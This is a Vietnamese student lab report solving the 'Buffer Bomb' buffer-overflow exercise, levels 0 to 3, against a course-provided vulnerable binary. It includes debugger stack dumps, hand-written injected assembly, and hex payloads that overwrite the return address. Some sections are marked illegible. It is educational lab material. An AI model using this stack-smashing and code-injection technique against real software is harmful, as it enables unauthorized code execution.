



# Lab 6

## BÁO CÁO BÀI THỰC HÀNH SỐ 6

# Buffer Overflow Attack Buffer Bomb

**Môn học: Lập trình hệ thống**

<b>Giảng viên hướng dẫn</b>	ThS. Đỗ Thị Hương Lan
<b>Sinh viên thực hiện</b>	Nguyễn Hồ Nhật Khoa (22520677) Lê Quốc Ngô (22520951) Trần Tiến Nhật (22521030)
<b>Mức độ hoàn thành</b>	Hoàn thành
<b>Thời gian thực hiện</b>	29/5/2024
<b>Tự chấm điểm</b>	10/10

### Level 0:

[illegible]

```
tnh47@Nhat:~/UIT/Ky4/LTHT/Lab6$ ./hex2raw < smoke.txt | ./bufbomb -u 030951677
Userid: 030951677
Cookie: 0x5b2e6f67
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
```

### Level 1:

[illegible]

```
tnh47@Nhat:~/UIT/Ky4/LTHT/Lab6$ ./hex2raw < fizz.txt | ./bufbomb -u 030951677
Userid: 030951677
Cookie: 0x5b2e6f67
Type string:Fizz!: You called fizz(0x5b2e6f67)
VALID
NICE JOB!
```

Level 2:

```

tnh47@Nhat: ~/UIT/Ky4/LTH1  ×  tnh47@Nhat: ~/UIT/Ky4/LTH1  ×  +  v
0x55683aa4 | +0x000c: 0xf7dc2e92 → <random+66> xor eax, eax
0x55683aa8 | +0x0010: 0xf7fae4a4 → 0xf7fae094 → 0xc0d8f102
0x55683aac | +0x0014: 0x55683ac0 → 0x4656b2c7
0x55683ab0 | +0x0018: 0xffffce54 → 0xffffcf97 → "/home/tnh47/UIT/Ky4/LTH1/Lab6/bufbomb"
0x55683ab4 | +0x001c: 0xf7ffcb80 → 0x00000000

code:x86:32
0x80d7cf08 <getbuf+0>      push    ebp
0x80d7cf09 <getbuf+1>      mov     ebp, esp
0x80d7cf0b <getbuf+3>      sub     esp, 0x48
→ 0x80d7cf0e <getbuf+6>  sub     esp, 0xc
0x80d7cf11 <getbuf+9>      lea     eax, [ebp-0x44]
0x80d7cf14 <getbuf+12>     push    eax
0x80d7cf15 <getbuf+13>     call   0x80d7c9b8 <Gets>
0x80d7cf1a <getbuf+18>     add     esp, 0x10
0x80d7cf1d <getbuf+21>     mov     eax, 0x1

threads
[#0] Id 1, Name: "bufbomb", stopped 0x80d7cf0e in getbuf (), reason: BREAKPOINT
trace
[#0] 0x80d7cf0e → getbuf()
[#1] 0x80d7c837 → test()
[#2] 0x80d7cba5 → launch()
[#3] 0x80d7cc73 → launcher()
[#4] 0x80d7ceea → main()

gef> info registers ebp
ebp                0x55683ae0                0x55683ae0 <_reserved+1039072>
gef> █

```

Vị trí chuỗi buf:  $0x55683AE0 - 0x44 = 0x55683A9C$

```

tnh47@Nhat: ~/UIT/Ky4/LTH1  ×  +  v
movl $0x5B2E6f67, 0x80D81160
pushl $0x80D7C7C9
ret

```

bang.o: file format elf32-i386

Disassembly of section .text:

00000000 <.text>:

```

0:  c7 05 60 11 d8 80 67      movl    $0x5b2e6f67,0x80d81160
7:  6f 2e 5b
a:  68 c9 c7 d7 80          push    $0x80d7c7c9
f:  c3                      ret

```

## Lab 6: Buffer Bomb

```

c7 05 60 11
d8 80 67 6f
2e 5b 68 c9
c7 d7 80 c3
AA AA AA AA
AA AA AA AA
AA AA AA AA
AA AA AA AA
AA AA AA AA
AA AA AA AA
AA AA AA AA
AA AA AA AA
AA AA AA AA
AA AA AA AA
AA AA AA AA
AA AA AA AA
AA AA AA AA
AA AA AA AA
9C 3A 68 55

```

"bang.txt" 19L, 228B

19,11 All

```
tnh47@Nhat:~/UIT/Ky4/LTHT/Lab6$ ./hex2raw < bang.txt | ./bufbomb -u 030951677
Userid: 030951677
Cookie: 0x5b2e6f67
Type string:Bang!: You set global_value to 0x5b2e6f67
VALID
NICE JOB!
```

### Level 3:

## Lab 6: Buffer Bomb

```
tnh47@Nhat: ~/UIT/Ky4/LTH1/ x tnh47@Nhat: ~/UIT/Ky4/LTH1/ x + v
Dump of assembler code for function test:
0x80d7c824 <+0>: push    ebp
0x80d7c825 <+1>: mov     ebp, esp
0x80d7c827 <+3>: sub     esp, 0x18
=> 0x80d7c82a <+6>: call    0x80d7c93 <uniqueval>
0x80d7c82f <+11>: mov     DWORD PTR [ebp-0x10], eax
0x80d7c832 <+14>: call    0x80d7cf08 <getbuf>
0x80d7c837 <+19>: mov     DWORD PTR [ebp-0xc], eax
0x80d7c83a <+22>: call    0x80d7c93 <uniqueval>
0x80d7c83f <+27>: mov     edx, eax
0x80d7c841 <+29>: mov     eax, DWORD PTR [ebp-0x10]
0x80d7c844 <+32>: cmp     edx, eax
0x80d7c846 <+34>: je      0x80d7c85a <test+54>
0x80d7c848 <+36>: sub     esp, 0xc
0x80d7c84b <+39>: push    0x80d7e150
0x80d7c850 <+46>: call    0x00409000
0x80d7c855 <+49>: add     esp, 0x10
0x80d7c858 <+52>: jmp     0x80d7c89b <test+119>
0x80d7c85a <+54>: mov     edx, DWORD PTR [ebp-0xc]
0x80d7c85d <+57>: mov     eax, ds:0x80d81158
0x80d7c862 <+62>: cmp     edx, eax
0x80d7c864 <+64>: jne     0x80d7c888 <test+100>
0x80d7c866 <+66>: sub     esp, 0x8
0x80d7c869 <+69>: push    DWORD PTR [ebp-0xc]
0x80d7c86c <+72>: push    0x80d7e179
0x80d7c871 <+77>: call    0x004085a0
0x80d7c876 <+82>: add     esp, 0x10
0x80d7c879 <+85>: sub     esp, 0xc
0x80d7c87c <+88>: push    0x3
0x80d7c87e <+90>: call    0x80d7d0c2 <validate>
0x80d7c883 <+95>: add     esp, 0x10
0x80d7c886 <+98>: jmp     0x80d7c89b <test+119>
0x80d7c888 <+100>: sub     esp, 0x8
0x80d7c88b <+103>: push    DWORD PTR [ebp-0xc]
0x80d7c88e <+106>: push    0x80d7e196
0x80d7c893 <+111>: call    0x004085a0
0x80d7c898 <+116>: add     esp, 0x10
0x80d7c89b <+119>: nop
0x80d7c89c <+120>: leave
0x80d7c89d <+121>: ret
End of assembler dump.
gef> info registers ebp
ebp 0x55683b00 0x55683b00 <_reserved+1039104>
gef> |
```

```
tnh47@Nhat: ~/UIT/Ky4/LTH1 x + v
movl $0x5B2E6F67, %eax
movl $0x55683B00, %ebp
pushl $0x80D7C837
ret
```

```
tnh47@Nhat:~/UIT/Ky4/LTHT/Lab6$ objdump -d test.o
test.o:          file format elf32-i386

Disassembly of section .text:

00000000 <.text>:
   0:  b8 67 6f 2e 5b      mov     $0x5b2e6f67,%eax
   5:  bd 00 3b 68 55      mov     $0x55683b00,%ebp
  a:  68 37 c8 d7 80      push    $0x80d7c837
  f:  c3                  ret
```

A screenshot of a terminal window titled "tnh47@Nhat: ~/UIT/Ky4/LTH1". The terminal displays a series of hexadecimal values arranged in columns:  

```
b8 67 6f 2e  
5b bd 00 3b  
68 55 68 37  
c8 d7 80 c3  
AA AA AA AA  
AA AA AA AA  
AA AA AA AA  
AA AA AA AA  
AA AA AA AA  
AA AA AA AA  
AA AA AA AA  
AA AA AA AA  
AA AA AA AA  
AA AA AA AA  
AA AA AA AA  
AA AA AA AA  
9C 3A 68 55
```

  
Below the hex values are several tilde (~) symbols. At the bottom left, it says "\"test.txt\" 19L, 228B". At the bottom right, there are two status indicators: "19,11" and "All".

```
tnh47@Nhat:~/UIT/Ky4/LTHT/Lab6$ ./hex2raw < test.txt | ./bufbomb -u 030951677
Userid: 030951677
Cookie: 0x5b2e6f67
Type string:Boom!: getbuf returned 0x5b2e6f67
VALID
NICE JOB!
```

**Yêu cầu thêm:**

```
.text:80D7C824
.text:80D7C824 ; Attributes: bp-based frame
.text:80D7C824
.text:80D7C824      public test
.text:80D7C824      proc near                                ; CODE XREF: launch:loc_80D7CBA0↓p
.text:80D7C824
.text:80D7C824      var_10      = dword ptr -10h
.text:80D7C824      var_C        = dword ptr -0Ch
.text:80D7C824
.text:80D7C824      push      ebp
.text:80D7C825      mov       ebp, esp
.text:80D7C827      sub       esp, 18h
.text:80D7C82A      call      uniqueval
.text:80D7C82F      mov       [ebp-16], eax
.text:80D7C832      call      getbuf
.text:80D7C837      mov       [ebp-12], eax
.text:80D7C83A      call      uniqueval
.text:80D7C83F      mov       edx, eax
.text:80D7C841      mov       eax, [ebp-16]
.text:80D7C844      cmp       edx, eax
.text:80D7C846      jz        short loc_80D7C85A
.text:80D7C848      sub       esp, 0Ch
.text:80D7C84B      push      offset aSabotagedTheSt ; "Sabotaged!: the stack has been corrupte"...
.text:80D7C850      call      _puts
.text:80D7C855      add       esp, 10h
.text:80D7C858      jmp       short loc_80D7C89B
.text:80D7C85A ; -----
```

Ta thấy ebp được gán bằng esp trước khi esp bị trừ đi 0x18 để tạo stack frame hàm test. Vậy chỉ cần lấy giá trị esp + 0x18 sẽ được giá trị ebp cũ.

```
tnh47@Nhat: ~/UIT/Ky4/LTH1 × + ▾  
movl $0x5B2E6F67, %eax  
leal 0x18(%esp), %ebp  
pushl $0x80D7C837  
ret
```

```
tnh47@Nhat:~/UIT/Ky4/LTHT/Lab6$ objdump -d test.o

test.o:          file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:   b8 67 6f 2e 5b          mov     $0x5b2e6f67,%eax
   5:   8d 6c 24 18            lea     0x18(%esp),%ebp
   9:   68 37 c8 d7 80        push    $0x80d7c837
  e:   c3                    ret
```

### Disassembly of section .text:

```

0:  b8 67 6f 2e 5b          mov     $0x5b2e6f67,%eax
5:  8d 6c 24 18             lea     0x18(%esp),%ebp
9:  68 37 c8 d7 80          push    $0x80d7c837
e:  c3                      ret

```

[illegible]

```
tnh47@Nhat:~/UIT/Ky4/LTHT/Lab6$ ./hex2raw < test.txt | ./bufbomb -u 030951677
Userid: 030951677
Cookie: 0x5b2e6f67
Type string:Boom!: getbuf returned 0x5b2e6f67
VALID
NICE JOB!
```